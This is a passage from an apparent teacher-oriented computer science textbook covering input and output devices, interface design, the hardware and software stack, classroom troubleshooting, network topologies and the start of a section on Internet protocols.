- **package manager**: a tool that installs libraries and tracks their versions as dependencies
- **dependency**: a library or service that a program relies on
- **application programming interface (API)**: a definition of how programs can request services or data from another system
- **license**: the terms under which code may be reused

Practice questions: 0002.p, page 658.

0003 Networks, the Internet, and system design

The previous part was about writing programs, and this one is about the machines and networks those programs run on. Its eight sections move through levels of scale, starting where a person meets a single device and working outward until the device is one of billions on the Internet. Section 0003.a begins at the surface, with the ways a computing system takes input, presents output, and offers an interface that people can actually use. Section 0003.b goes underneath that surface to

the layers inside a device, from logic gates and the processor up through firmware, the operating system, and applications, and 0003.c puts that layered picture to work in finding and preventing problems when something stops working. The next two sections connect devices to one another. Section 0003.d describes the hardware of networks and the shapes in which it can be arranged, and 0003.e describes the layered protocols that carry data across them, from a single packet up to a web page. Section 0003.f asks where data rests, on a device, on a local network, or in the cloud, and how copies are kept consistent and available. Section 0003.g steps back to the whole network and analyzes what affects it in practice: its capacity and speed, its growth, who can reach it, how it fails, and how the people using it behave. The part closes in 0003.h at the smallest scale of all, with the bits and number systems in which every value in the earlier sections is ultimately stored and sent.

0003.a Input, output, and interfaces

Every computing system has a boundary where it meets the world, and this section works inward across that boundary in four steps. First come the physical devices that carry data in and results out. Above them sits the interface, the style of interaction a program offers, whether typed commands or windows and menus. Within a graphical interface there are smaller choices about individual controls, and over all of these lie the qualities that make a design usable and accessible. The section ends with the method for finding out whether a design actually has those qualities, which is to watch people use it.

Devices that carry data in and out

The most basic way to describe a computer is by what flows through it: data comes in, is processed, and results go out. An **input device** sends data into the system. Keyboards and microphones do this, and so do **sensors**, which measure something about the physical world, such as a rooftop anemometer measuring wind speed for a school weather station or a probe measuring soil moisture in a greenhouse. An **output device** presents results or acts on them. Monitors, speakers, and printers present results to people, while **actuators** act on the world directly: a pump, a valve that waters the greenhouse when the soil is dry, or a motor. That last case is a useful corrective to a common assumption, because a system with no screen and no sound still has output if a valve opens in response to its processing.

The test for which category a device belongs to is the direction the data moves relative to the system, not whether a person learns something from it. A lobby display that shows the latest wind speed gives people information, but it is output, because the data is leaving the system. A processor that averages readings handles data without being its source, and memory that passes values to the processor isn't an output device either. Some devices work in both directions. A **touch screen** senses touches, which is input, and displays results, which is output. A processor and software interpret each tap and generate each image, but they do their own work, and the screen still plays both roles. A smart doorbell shows how devices sort out in practice: its camera, button, and motion detector all send data in, and only the speaker that sounds the chime inside the house is output.

Output also needn't be visual. Speech output and braille serve blind users, and a refreshable braille display presents results by touch. This matters when choosing equipment, because a magnifying monitor still depends on sight, and a keyboard with tactile markings or a scanner helps someone send data in without giving them any way to read what comes back.

Command-line and graphical interfaces

Devices determine how data physically moves, and the interface determines how a person tells the system what to do. Two broad styles dominate, and they make opposite trade-offs between efficiency and discoverability.

A **command-line** application runs through a **terminal**, a text window where the user types commands and the program replies in text, with input coming through the keyboard alone.[72][73] Losing a mouse therefore has little effect on this kind of work. The command line is efficient: one command can act on thousands of files, as when converting all 400 images in a folder at once. It is also easy to script, which means placing commands in a file that runs with no person present, so that repetitive work happens unattended. Because a terminal session sends only typed commands and text replies, it uses far less bandwidth than a remote graphical desktop, which has to keep sending a continuously redrawn screen. This is one reason the command line suits administering remote servers. Its weakness is that commands are hard for new users to discover. The prompt gives no visible indication of which commands exist, so they have to be known or looked up, and experienced users are fast largely because they already know them. Typing a command doesn't bypass anything, either: the system's permissions apply to commands as they do to clicks.

A **graphical user interface** (GUI) makes the opposite trade. It uses windows, icons, menus, and a pointer, so options are visible on the screen. Users can recognize an option instead of recalling its exact name, which reduces what they must remember and helps people who are new to a program, such as a staff member trying unfamiliar printer options for the first time. The cost appears with repetition. A graphical application makes each action easy to find but leaves the repetition to the user, so a task repeated 500 times becomes slow when done by hand, and repetitive tasks are harder to automate than they are with commands.

Hot keys partly bridge the two styles. They are single keys or combinations of keys that jump straight to a function, so that a clerk entering data can keep both hands on the keyboard without repeated trips to the mouse or trackpad. Pressing the combination for Undo, for instance, avoids both the trip to the trackpad and the search through a menu. Hot keys work best when they follow common conventions, such as Ctrl+S for Save. Users carry their habits from one application to another, so a program that assigns a familiar combination to a different action invites people to trigger the wrong one.

[72] MWC1, Terminal Adventure: working from a command line.
[73] MWC1, Pipes: programs as transformations of data, and combining commands.

Choosing controls within an interface

Within a graphical interface, a designer makes many smaller decisions about how each choice is presented, and **form controls** are the clearest example, because each control encodes a rule about how many answers are allowed. **Radio buttons** allow exactly one selection, since choosing one clears the others, which suits mutually exclusive options such as a single shipping speed. **Checkboxes** allow any number of selections among options that aren't mutually exclusive, such as the workshops someone wants to attend or every language they speak. Presenting those languages as radio buttons would wrongly force people to report only one. A single checkbox can also express a yes-or-no choice through its checked and unchecked states, so a pair of yes and no radio buttons isn't needed. A **drop-down menu** saves space when options are many: fifty radio buttons for fifty states would fill the screen, while a drop-down list stays compact and, unlike a free text field, still restricts answers to valid choices. Instructions on the screen don't substitute for the right control, because a note saying "choose one" doesn't stop anyone from checking several boxes.

Usable, accessible, and responsive design

Choosing the right control is one part of a broader question, whether people can use the interface well. **Usability** has several recurring principles. A usable interface is consistent, so that placing commands in the same location on every page lets users transfer what they learn from one page to the next. It gives clear **feedback**, telling users what the system has just done. A progress indicator that appears from the moment an upload begins, for example, shows that the system is working, so users have no reason to click again. It prevents errors where it can, which means making serious mistakes harder to make: separating a Delete button from Save, or asking for confirmation before anything is deleted, acts before the damage, while a message afterward doesn't. When errors do happen, a helpful **error message** explains how to recover. A message stating the required date format, with the user's other entries left in place, gives direction and limits the cost of the mistake, while a louder alert or a larger red warning gives none.

Accessibility extends the same concern to people with disabilities, and 0001.e covers it in depth. For an interface, a few practices do most of the work. Controls should be labeled elements that receive focus through the Tab key, so that the interface doesn't rely on a mouse alone, since some users can't operate a pointing device. Semantic structure matters too: a real `<button>` element comes with keyboard behavior and with meaning that assistive technology can announce, while a `<div>` styled to look like a button has neither, and visual changes can't supply them. Text needs sufficient contrast with its background for people with low vision. Information shouldn't depend on color alone, since color conveys nothing to a screen reader user and may be indistinguishable to someone with color vision deficiency.

Phones add physical constraints of their own. A fingertip is less precise than a pointer, so touch interfaces need adequately large **touch targets** with adequate space between them. Phone screens are also narrow, so layouts should adapt to the width of the screen, rearranging or scaling content instead of forcing a fixed width. A layout that does this is called **responsive**, and it lets one site

serve phones, tablets, and desktops. Hover doesn't exist on most touch screens, so information hidden behind resting a pointer on an element is unreachable there. The reliable way to find these problems is to complete common tasks on real phones and in phone-sized windows, which exposes problems that reading code or checking file sizes can't reveal.

Watching people use it

That last point generalizes. Designers know their own interface too well to see where others will struggle, so the qualities above have to be checked with people. **Usability testing** observes representative users performing real tasks, to find where a design causes confusion or errors. A university testing its registration portal should watch a few first-year students trying to register, not ask staff who already know the system, and someone who has never seen a design, such as a substitute teacher, can show where newcomers struggle. Even a few users reveal many problems: a finding such as "four of five parents could not tell where to enter a child's allergies" is exactly what a test is for. Observers shouldn't guide participants, because help hides how users would have behaved without anyone there. Finally, what users say and what they do often differ. People may like designs they can't use well, so when stated preferences and task failures disagree, the failures deserve priority. Watching people at the boundary of the system raises the question of what lies behind it, and the next section turns to the hardware and software inside the device.

- **input device**: hardware that sends data into a system, such as a keyboard, microphone, or sensor
- **output device**: hardware that presents results or acts on them, such as a monitor, speaker, printer, or actuator
- **sensor**: an input device that measures a physical quantity
- **actuator**: an output device that acts on the physical world, such as a pump or valve
- **command-line interface**: an interface in which a user types commands into a terminal and reads text replies
- **script**: a file of commands that runs without a person present
- **graphical user interface (GUI)**: an interface built from windows, icons, menus, and a pointer
- **hot key**: a key or key combination that gives immediate access to a function
- **radio buttons**: a control allowing exactly one selection
- **checkboxes**: controls allowing any number of selections among options that aren't mutually exclusive
- **drop-down menu**: a compact list of choices, useful when options are many
- **feedback**: an interface's indication of what the system has just done
- **touch target**: the area of a touch screen that responds to a tap on a control
- **responsive design**: layout that adapts to different screen sizes
- **usability testing**: observing representative users performing real tasks to find confusion or errors

Practice questions: 0003.a, page 674.

0003.b Hardware, software, and how they interact

The devices in the previous section are the edges of a computer, and this section looks at what lies between them. A computer is best understood as a stack of layers, each built from the one below it and each hiding the details of that layer from the one above. At the bottom are transistors, which form logic gates, which form the circuits of the processor and memory. The processor runs machine language, which people can write more readably as assembly language. Firmware stored on the hardware starts the machine, the operating system manages the hardware once it is running, and drivers connect the operating system to particular devices. Applications sit at the top, written in high-level languages that compilers and interpreters translate down into machine language. The section climbs this stack from the bottom, and then looks at embedded systems, where a whole stack is dedicated to a single job inside a larger device.

Gates and the processor

Computer hardware is built from **transistors**, tiny electronic switches that are either on or off, and those two states are the `1` and `0` of binary that 0003.h describes. Transistors are combined into **logic gates**, which take binary signals as inputs and produce one as output.[74] `AND` outputs `1` only if both inputs are `1`, so a gate that turns on a light only when a motion sensor detects movement and a switch is on is an `AND` gate with the sensor and switch as inputs. `OR` outputs `1` if either input is `1`. `NOT` inverts a single input. `XOR`, exclusive or, outputs `1` if its inputs differ. These are the same operations as the logical operators in 0002.j, where expressions are evaluated from left to right, so `TRUE OR TRUE AND FALSE` gives `FALSE`, because `TRUE OR TRUE` is `TRUE` and `TRUE AND FALSE` is `FALSE`.

Gates matter because they combine into circuits that do arithmetic and store values. A **half adder**, which adds two bits, shows how. Adding two one-bit numbers gives a sum bit and a carry bit: `1 + 1` is `10` in binary, a sum of `0` with a carry of `1`. The sum bit is `1` exactly when the inputs differ, which is `XOR`, and the carry is `1` only when both are `1`, which is `AND`. If someone builds the sum from an `OR` gate by mistake, the circuit works for every input except `1 + 1`, because that is the one case in which `OR` and `XOR` differ. Larger circuits built the same way add whole numbers, compare them, and hold them in memory.

Those circuits make up the **central processing unit** (CPU), which executes a program's instructions in a repeating cycle. In each **fetch, decode, and execute cycle** it fetches the next instruction from memory, decodes it to determine what operation is called for, and executes it. Three parts of the CPU work together in this. The **control unit** directs the sequence of instructions. **Registers** are small, fast storage locations inside the processor that hold the values currently being operated on, so even though the running program sits in memory, the numbers being added at a given moment are in registers. The **arithmetic logic unit** (ALU) carries out the operation that the instruction register names, using values held in registers, and places the result in the **accumulator**, a register that holds it for further operations. If the instruction register calls for addition and two registers hold `1` and `3`, the ALU produces `4` and sends it to the accumulator. Despite the emphasis of its name,

[74] MWC2, Encoding: bits, booleans, integers, and text.

the ALU performs logical operations, such as `AND`, `OR`, and comparisons, as well as arithmetic. The division of labor is worth keeping straight: the control unit coordinates, and the ALU computes.

Clock speed sets how many of these cycles occur per second, so a faster clock completes the same instructions in less time. Each instruction is very simple, such as adding two numbers, comparing them, or copying a value, and all the complex behavior of a computer, from a word processor to a game, arises from executing enormous numbers of these simple instructions.

Memory and storage

The processor needs somewhere to keep the programs and data it is working on, and computers use two kinds of memory that trade speed against persistence. **Random access memory** (RAM) is fast memory for running programs, and it is **volatile**, meaning it loses its contents without power. **Storage**, such as a solid-state drive, is slower and **nonvolatile**: it retains data without power. A computer uses both because neither does both jobs. When you open a file, it is loaded from storage into RAM so a program can work on it, and saving moves data in the opposite direction, back to storage. This is why edits made since the last save vanish when the power fails: they existed only in RAM. It also explains a common misunderstanding about slow computers. Running programs use RAM, so a computer with many programs open slows down when RAM runs short, regardless of how much free space its drive has, and the remedy is installing more RAM. Section 0003.f returns to storage devices in more detail.

From machine language to high-level code

A CPU executes only **machine language**, binary instructions that it runs directly. Each processor architecture has its own **instruction set**, the collection of instructions it understands, so machine language for one processor family doesn't run on another. Writing in binary is impractical for people, so **assembly language** gives a human-readable form of the same instructions, such as `MOV R1, 5`, which moves the value `5` into register `R1`. Assembly is still tied to one architecture, since each of its instructions corresponds to one in that architecture's instruction set, and it doesn't carry across processor families. An **assembler** translates assembly language into machine code.

Most programs are written instead in high-level languages such as Python, and since the processor executes only binary instructions, that source code must be translated into machine language to run. There are two approaches. A **compiler** translates a whole program in advance, sometimes generating assembly language as an intermediate step on the way to machine code. This adds a build step before the program can run, which can later pay off in running speed. Because the compiler processes the whole program before it runs, it can report some errors before any line executes. A company can also distribute only the compiled **binaries**, the machine-language files, so customers can run a program without receiving its source code, although binaries can still be analyzed. An **interpreter** instead translates a program during execution, as it runs. There's no build step, but the interpreter may reach an error only when execution gets to the faulty line, so a mistake late in a script can go unnoticed until then.

Firmware, the operating system, and drivers

Between the bare hardware and the applications sit layers of system software. The lowest is **firmware**, low-level software stored on a hardware device that controls its basic operation. It resides in the device's own nonvolatile memory, so it is available before any drive or operating system is used. When a computer boots, the system firmware stored on its main circuit board initializes the hardware and starts the operating system. Routers, cameras, printers, and network switches have firmware too. Flaws in it are fixed by firmware updates applied to the device itself, and these need care, because an interrupted update can leave a device without the software it needs to start up.

Once the computer is running, the **operating system** (OS) manages it. It manages hardware, memory, files, and **processes**, which are running programs. It allocates memory among those processes, and its **scheduler** switches among them rapidly so that they can share the CPU, which is how many programs appear to run at once. It also enforces **permissions**, the access rules set on files in the file system. Just as important, it gives applications a consistent interface to the hardware. An application asks the OS to save a file, and the OS's file services hide the differences among a solid-state drive, a USB drive, and a network folder. Application developers can therefore largely ignore hardware specifics. This interface hides device details, but it doesn't remove the OS's other roles: permissions still apply, and the hardware isn't any faster for being hidden.

The OS can't know the details of every printer, camera, or sound card ever made, and **device drivers** fill that gap. A driver is software that lets the operating system communicate with a specific hardware device, translating general requests into ones a particular printer model understands. Drivers make hardware support modular, so new hardware can be supported by adding a driver without rewriting the operating system. This also explains a familiar problem: a computer with a clean installation of its operating system may have no sound, even though the speakers work on other machines and every application is silent, because the installation left out the sound driver supplied by the manufacturer. Drivers often run with high privileges, close to the operating system, so a faulty driver can crash the whole system, which is a more severe failure than an ordinary application crashing.

Embedded systems

Not every computer is general-purpose. An **embedded system** is a dedicated computer within a larger device, such as a car, a microwave, or the controller that runs the wash cycles of a cafeteria dishwasher, performing specific functions. Embedded systems often use input from sensors, which tell them about their environment, as when a thermostat's controller reads a sensor measuring the conditions inside a room. They usually have limited memory and power and strict timing needs, since a car's braking system can't wait. Many are long-lived devices, and those with no way to receive security updates can remain vulnerable for years. Embedded systems and the general-purpose computers above share the same layered stack, which means a problem can arise in any layer. Finding which layer is at fault is the subject of the next section.

- **transistor**: a tiny electronic switch, the basic building block of computer hardware
- **logic gate**: a circuit that combines binary signals, such as `AND`, `OR`, `NOT`, or `XOR`
- **half adder**: a circuit that adds two bits, using `XOR` for the sum and `AND` for the carry
- **central processing unit (CPU)**: the processor that executes instructions
- **fetch, decode, and execute cycle**: the repeating cycle in which the CPU executes instructions
- **control unit**: the part of the CPU that directs the sequence of instructions
- **register**: a small, fast storage location inside the CPU
- **arithmetic logic unit (ALU)**: the part of the CPU that performs arithmetic and logical operations
- **accumulator**: the register that receives the ALU's result
- **clock speed**: the number of cycles a CPU completes per second
- **random access memory (RAM)**: fast, volatile memory for running programs
- **volatile**: losing contents without power
- **storage**: slower, nonvolatile memory, such as a solid-state drive, that retains data
- **machine language**: binary instructions executed directly by a CPU
- **assembly language**: a human-readable, architecture-specific form of machine language
- **assembler**: a program that translates assembly language into machine code
- **compiler**: a program that translates a whole program to machine language in advance
- **interpreter**: a program that translates and runs code during execution
- **firmware**: low-level software stored on a hardware device that controls its basic operation
- **operating system (OS)**: software that manages hardware, memory, files, processes, and permissions, and gives applications a consistent interface
- **scheduler**: the part of the OS that shares the CPU among processes
- **device driver**: software that lets the OS communicate with a specific hardware device
- **embedded system**: a dedicated computer within a larger device that performs specific functions

Practice questions: 0003.b, page 688.

0003.c Troubleshooting

The layered picture of a computer in 0003.b has a practical payoff when something stops working, because a problem lives somewhere in that stack: in a cable or a part, in a driver or an application, or out in the network. Troubleshooting is the work of finding where. This section first describes a general process that applies to any problem, then follows it through the kinds of fault a teacher is most likely to meet, roughly from the physical layer upward: power and connections, faulty components, software after an update, and network connectivity. It then turns from fixing to preventing, and ends with a different kind of boundary, the line between what a teacher can fix and what belongs to an organization's IT staff.

A general process

Effective troubleshooting follows a sequence that applies to any problem.[75] First, identify the problem: confirm the symptom, so you know exactly what is and isn't happening. Then ask what changed recently. A new problem often follows a recent change, such as a moved computer, a new cable, or an update, so this question narrows the search, although the suspected cause still has to be tested. Next, start with the simplest and most likely causes. These are common and quick to rule out, so a list of remedies that begins with replacing hardware and ends with checking a cable should be reversed, trying the quick and common remedies before the costly ones. Change one thing at a time and test the result after each change, because if you change several things at once and the problem disappears, you can't tell which change fixed it. Finally, document the solution. A record doesn't stop the problem from happening again, but it lets others, or you, resolve the same problem more quickly next time.

Power, connections, and settings

The simplest and most likely causes of a hardware problem are usually the most physical ones. Before assuming that a part has failed, check power, cables, and settings. A projector showing nothing may be set to the wrong input source, or its cable may be loose. Speakers that make no sound may be fine, with the volume turned down or the wrong audio output device selected. Equipment that stops working after being moved has often had a power cable pulled loose or its power strip switched off. These checks take moments, and they can save an unnecessary purchase or service call.

Isolating a faulty component

When the simple checks don't solve a problem, the next question is whether the fault lies with a component or with the system it is connected to. The way to find out is to **isolate the fault**: swap a part, or test it on another system, and see whether the problem follows the part or stays where it was. A monitor that shows nothing can be connected to another computer known to work. If it works there, the first computer is at fault; if it still shows nothing, the monitor is. The reasoning runs the same way in other cases. If two different headsets fail on one student's laptop, and one of them works on another computer, the evidence points to the laptop. If a memory module that causes errors in one computer causes the same errors when moved to another, the fault followed the part, and the module is likely faulty. Some cases need two tests: to tell a faulty keyboard from a faulty port, try the keyboard in another port and another keyboard in the original port. As in the general process, changing several parts at once hides which one was faulty.

Software after an update

Software problems often follow an update to the operating system, and the layers in 0003.b suggest where to look. If a device such as a camera stops working after a system update, the update may have

[75] MWC1, Typeface: decomposition and debugging in a problem set.

left it needing a compatible driver, so a good step is to install an updated driver from the operating system or the manufacturer. If only one application fails, the failure is confined to that application, which may need an update of its own to work with the new system, so check for a patch or reinstall it. If the manufacturer has already identified the problem and released a fix, install it. When no fix is available yet, rolling back the update can restore function while the problem is reported and resolved. This risk is also why IT staff often test updates on a small group of computers first, so that an incompatibility is found before it affects everyone in a school.

Network connectivity

Connectivity problems call for the same narrowing, first by device and then by destination. Check whether other devices are affected: if they are, the problem is in the network, and if not, it is in the one device. Restarting the device and the router (and the modem that connects to the provider) clears many temporary faults, and confirming the device's network settings rules out a misconfiguration. Then test whether the problem involves one site or the whole connection, by trying other websites on the same laptop and that site on another device.

A few specific symptoms point to specific causes, using protocols described in 0003.e. If sites load when you enter their IP address but not their name, the connection is working, but names aren't being turned into addresses, so suspect the **Domain Name System** (DNS). If a device shows an address beginning `169.254`, it has assigned that address to itself, which suggests that it got no address from the **DHCP** server that normally hands addresses out. If everything on the Internet fails at once but computers can still share files and printers on the local network, the problem likely lies in the connection to the outside, so restart the router and modem and then check for an outage at the provider.

Prevention

Many problems can be prevented, and the habits that prevent them are routine. Regular updates close known security flaws, so delaying updates for months leaves those flaws open. **Backups** to a separate location let data be restored after a failure, which no other measure does. Systems need adequate free storage, since updates and temporary files take space. Surge protectors between computers and wall outlets reduce the damage that power spikes do to equipment. Keeping devices clean and cool, for instance by cleaning dust from computers and improving a room's ventilation, prevents overheating.

Working within restrictions and knowing when to escalate

The steps so far assume you can change what's broken, but in a school many settings are controlled centrally, and a teacher often lacks **administrator rights**, the permission needed to install software or change system settings. These restrictions exist for security and management, so the right response is to work within them. Approved browser-based tools can meet short-term needs, because they run in the browser that is already on the laptop and nothing new must be installed. A teacher

who can't install a file converter can use an approved online converter instead. Such tools should be tested before a lesson, so the lesson stays on track. They also send data to outside servers, so check their privacy terms before uploading any student data. Using a workaround to get around a restriction, by contrast, circumvents a security control and may violate school policy.

Some problems are beyond a user's control altogether. Network restrictions such as blocked sites are managed by an organization's IT staff, and so are building-wide outages. These should be **escalated**, which means reported to IT staff, with clear details that let them reproduce and diagnose the problem: location, scope, time, the exact error message, and the steps that produce it. "Room 204 laptops cannot reach `example.org` since 9 a.m.; other sites load" gives staff far more to work with than "the Internet is down." If a site needed for a lesson is blocked, ask IT staff to review the block, giving the site's address and the lesson's need. Any screenshot sent along should be checked so that it doesn't reveal student information, since student data is protected and what is shared should be limited to what is needed. Several of the network symptoms in this section only make sense once you know how a network is built, which is the subject of the next section.

- **isolating a fault**: swapping or testing a part to learn whether the problem follows the part or stays with the system
- **rollback**: returning to the version before an update to restore function
- **backup**: a copy of data in a separate location, used to restore it after a failure
- **surge protector**: a device that shields equipment from power spikes
- **administrator rights**: the permission needed to install software and change system settings
- **escalation**: reporting a problem beyond a user's control to IT staff, with clear details

Practice questions: 0003.c, page 703.

0003.d Network components and topologies

A network is a set of devices that can exchange data, and it can be described at several levels. At the largest level is its scope, whether it covers a building or spans continents. Within that scope are the components that move data, each working at a particular boundary: within one network, between networks, between wireless and wired, or between inside and outside. Those components can be connected in different shapes, called topologies, and the shape a designer chooses largely determines the two properties this section cares most about, how well a network grows (scalability) and how well it survives failures (reliability). Finally, at the level of the devices' roles, a network can be organized around dedicated servers or around peers that share with each other. The section takes these levels in turn.

Local and wide area networks

The first distinction is by distance. A **local area network** (LAN) connects devices in a limited area, such as a school building, and a **wide area network** (WAN) connects networks across large distances, such as the long-distance links that join a set of clinics to a main hospital, or a leased line joining two school buildings. Distance, not ownership, decides the category, so a district that

owns and administers all of its equipment can still have a LAN in each building joined by a WAN connection. The **Internet** is the largest WAN, because it interconnects networks around the world. Every other network you might name, a school's or a city's or a company's, is one smaller network among those the Internet joins.

The distinction is useful for diagnosis. Traffic within a building travels over the LAN without using the outside line, while traffic to the Internet has to cross the WAN link. So if a building's internal network keeps working during an outage, computers can still reach the printers and file server inside the building but not outside websites. In the same way, if local file transfers are fast but Internet access is slow, the switch, the network adapters, and the local server are performing well, and the WAN link, the one part used only by the slow transfers, is the likely bottleneck.

The components that move data

Each kind of network equipment works at a particular boundary. A **switch** connects devices within a local network. It forwards data using **hardware addresses** (the MAC addresses described in 0003.e), keeping a table of which hardware address is reachable through which of its ports. A **router** forwards packets between networks using IP addresses, and packets crossing the Internet pass from router to router until they reach the destination network. In a school, a switch handles the traffic between a teacher's computer and the printer down the hall, while routers carry web traffic out to other networks. The difference matters when changing a network. Adding a second switch connected to the one already serving a floor extends the same local network and adds ports, while a router would place the new computers on a separate network. Conversely, joining several departments' separate networks calls for a router with one connection to each. A third kind of identifier, the port number, separates the applications running on a single host, and 0003.e returns to it.

A **wireless access point** connects Wi-Fi devices to a wired network, and adding more access points extends coverage. If students in a few classrooms far from the existing access point get a weak signal, the problem is coverage, not capacity, so the remedy is another access point near those rooms. A **firewall** sits at the boundary between inside and outside, allowing or blocking traffic according to a set of rules. It doesn't choose routes, encrypt data, or hand out addresses. Limiting incoming connections shrinks what outsiders can reach, which protects internal services that shouldn't be exposed. But a firewall can only check traffic against its rules, so it can't tell that a permitted login comes from someone using stolen credentials, and it doesn't stop phishing, insiders, or hardware faults. It is one layer of protection among several, as 0004 describes.

Topologies

Components can be connected in different shapes, and a network's **topology** describes how its devices are connected and communicate. Topology is about the pattern of communication, not cabling, so a set of wireless devices that all communicate through one central device forms the same topology as a wired one. The common topologies differ mainly in two things: what a single

failure takes down, and how many connections the design requires.

In a **star** topology, each device connects to a central switch. Adding a device is easy, since it needs only one cable to the center, and because each device has its own link, one cable's failure affects only one device. This is also a diagnostic clue: if one computer in a star loses its connection while the others work, the fault most likely lies on that computer's own cable or its connection at the switch, since a failed central switch would affect every computer. That central device is the star's weakness. All traffic depends on it, which makes it a **single point of failure**, and only redundancy, such as a second switch with links that traffic can fail over to, removes that dependence. A bigger switch or a firewall leaves the network relying on one device.

Two older topologies show why the star won. In a **bus**, all devices share one cable, and in a **ring**, each device connects to two neighbors, with data passing from device to device around the loop. In their simple forms, neither offers an alternative path, so a single break in the shared cable, or a single failed device or link in the ring, can disrupt much of the network. This is why switched stars replaced them: a dedicated link for each device contains a cable failure to one device and makes adding devices simpler, at the cost of more cable and of the dependence on the central switch.

A **mesh** goes the other way, connecting each device to several others. This provides multiple paths, so messages can travel around a failed device or link, which gives **fault tolerance**. The cost is the number of connections to establish and maintain. In a full mesh, where every device connects to every other, `n` devices need `n(n−1)/2` links, so six devices need `6 * 5 / 2`, or `15`. That number grows roughly with the square of the number of devices, which makes a full mesh impractical for many computers. Meshes suit settings where individual links are unreliable and paths matter more than cost, such as wireless sensors, and the Internet's core has a mesh-like structure so that traffic can route around failed links and routers.

A **tree** combines stars into a hierarchy. Each building or department is a star around its own switch, and those switches connect upward to switches at higher levels. A district whose schools are each a star, with each school's switch connected to a central one, forms a tree. Trees suit organizations that grow by adding whole groups, because a new branch attaches at one point, and they can be managed centrally. Their weakness follows from the hierarchy: a failure near the top affects all of the branches below it. If the central switch fails, traffic between schools stops, although computers within one school may still reach each other, since their own switch can still forward local traffic. Adding a redundant core switch with duplicate uplinks to it removes that single point of failure, while faster or additional switches lower down leave the dependence in place. Where links are unreliable, as with wireless links between buildings, a mesh's ability to route around a dropped link can outweigh a tree's tidiness.

Scalability and reliability

Those trade-offs lead to the two properties that network design aims for. **Scalability** is a network or system's ability to handle growth, to keep performing as demand grows. A slow service where nothing has failed has a scalability problem, not a fault-tolerance one. There are several approaches.

Hierarchical design, grouping devices by building and floor, keeps a growing network manageable. Adding capacity helps where the existing equipment is saturated. A **load balancer** distributes incoming requests across several servers, so a popular website can handle more demand as requests grow, and when those servers are themselves saturated, adding more servers behind the load balancer adds capacity directly. Spreading a service across many servers has a second benefit, since it can keep running if one server fails, though it adds complexity. A service on one machine has a single point of failure, and that machine's growth has limits.

Reliability is the ability to keep working when components fail. **Redundancy**, such as extra paths or servers, improves it by removing single points of failure, components whose failure stops the whole system. That is a different problem from a **bottleneck**, which limits speed without stopping service. A standby server that takes over when the main one fails is redundancy, and because it sits idle in normal operation, it doesn't share the load or add capacity. Redundancy has costs: money, plus more equipment to configure and manage. It also helps only when the copies don't share a risk. Two servers in one room, or two cables in one trench, can fail together from a single flood or a single cut, so redundant parts should be separated.

Client-server and peer-to-peer

The last level concerns the roles devices play. In a **client-server** network, **clients** request services from dedicated **servers**.[76][77] A web browser is a client, requesting pages from a server that holds a library catalog and answers those requests. Dedicated servers make data and policies easy to manage centrally, which is why a school keeps shared documents on servers where access and backups are managed in one place, instead of leaving them on each person's device. The cost is dependence: clients rely on the server, so its failure affects all of them. In a **peer-to-peer** network, devices share resources directly with each other, as a family's laptops might share files at home. Each peer contributes resources as well as using them, so total capacity, such as the upload capacity for distributing a large file, can grow as more participants join, whereas a single server must carry all of the load itself. The loss of one peer removes only that peer's own resources. Whatever its topology and roles, a network needs shared rules for how data actually travels across it, and those rules, the Internet's protocols, are the subject of the next section.

- **local area network (LAN)**: a network connecting devices in a limited area, such as a school
- **wide area network (WAN)**: a network connecting networks over large distances; the Internet is the largest
- **switch**: a device that forwards data within a local network using hardware addresses
- **router**: a device that forwards packets between networks using IP addresses
- **wireless access point**: a device that connects Wi-Fi devices to a wired network
- **firewall**: a device or program that filters traffic according to a set of rules
- **topology**: the pattern in which a network's devices are connected and communicate
- **star**: a topology in which each device connects to a central switch

[76] MWC2, Riddles: HTTP requests, responses, verbs, and status codes.
[77] MWC2, Riddle Server: views, models, fields, subclasses, and an API specification.

- **bus**: a topology in which devices share one cable
- **ring**: a topology in which each device connects to two neighbors
- **mesh**: a topology in which devices connect to several others; a full mesh of `n` devices has `n(n−1)/2` links
- **tree**: star networks connected in a hierarchy
- **single point of failure**: a component whose failure stops the whole system
- **fault tolerance**: the ability to keep working despite a failed component
- **scalability**: the ability to handle growth
- **load balancer**: a device that distributes requests across servers
- **reliability**: the ability to keep working when components fail
- **redundancy**: extra components, such as paths or servers, that remove single points of failure
- **client-server**: an arrangement in which clients request services from dedicated servers
- **peer-to-peer**: an arrangement in which devices share resources directly

Practice questions: 0003.d, page 715.

0003.e Internet protocols

The previous section described the hardware of a network and how it can be arranged. For devices made by different companies to exchange data across that hardware, they have to follow shared rules, and a **protocol** is a set of such rules, saying how messages are formatted, addressed, sent, and acknowledged. The Internet uses many protocols, and they are easiest to understand as a stack of layers, each doing one job and relying on the layer below it. The layers also correspond to levels of granularity. At the bottom, signals carrying bits move across a single link, such as a Wi-Fi connection or a cable. One level up, packets travel from network to network across the Internet. Above that, a connection between two programs carries a whole stream of data reliably, or deliberately doesn't, and at the top, applications such as the web and email exchange requests, pages, and messages. This section starts with the idea that makes the Internet work, packet switching, then lays out the layers, climbs through them from the link to the applications, and ends by using the layers to diagnose problems.

Packet switching

The telephone network of the twentieth century used **circuit switching**: a call reserved a dedicated path between two phones for its whole length, holding that capacity even during silences. The Internet instead uses **packet switching**.[78] Data are broken into small pieces called **packets**, and each packet is sent separately. Every packet has a **header**, which says where it is going and carries information for putting the pieces back in order, and a **payload**, the data being delivered. Each router along the way makes its own forwarding decision from the header, so packets from one message may take different routes and arrive out of order, and the receiving end reassembles them using the header information.

[78] MWC2, Riddles: HTTP requests, responses, verbs, and status codes.

This design has two large advantages. First, the network can route around failures: if a router fails partway through a transfer, later packets can be sent along a different route. Second, many users can share the same links. When a neighborhood's households share one cable, each household's data is split into packets that take turns on it, whereas a dedicated circuit would hold capacity for one conversation even when it is idle. Sharing works economically because most users send data in bursts, loading a page and then reading it, so their peaks rarely coincide and a shared link spends little capacity on idle users. The price is that performance can vary with load, a point 0003.g develops.

The layered model

Packets are only part of the story. Something has to carry them across each physical link, something has to route them between networks, something has to make sure they all arrive, and something has to give them meaning to an application. The Internet's protocols divide these jobs into four layers, each relying on the one below it:

Layer	Job	Examples
Application	What programs say to each other	HTTP, DNS, SMTP, IMAP, FTP
Transport	Delivering data between programs, reliably or quickly	TCP, UDP
Internet	Addressing and routing packets between networks	IP, ICMP
Link	Moving data across one local link	Wi-Fi, Ethernet

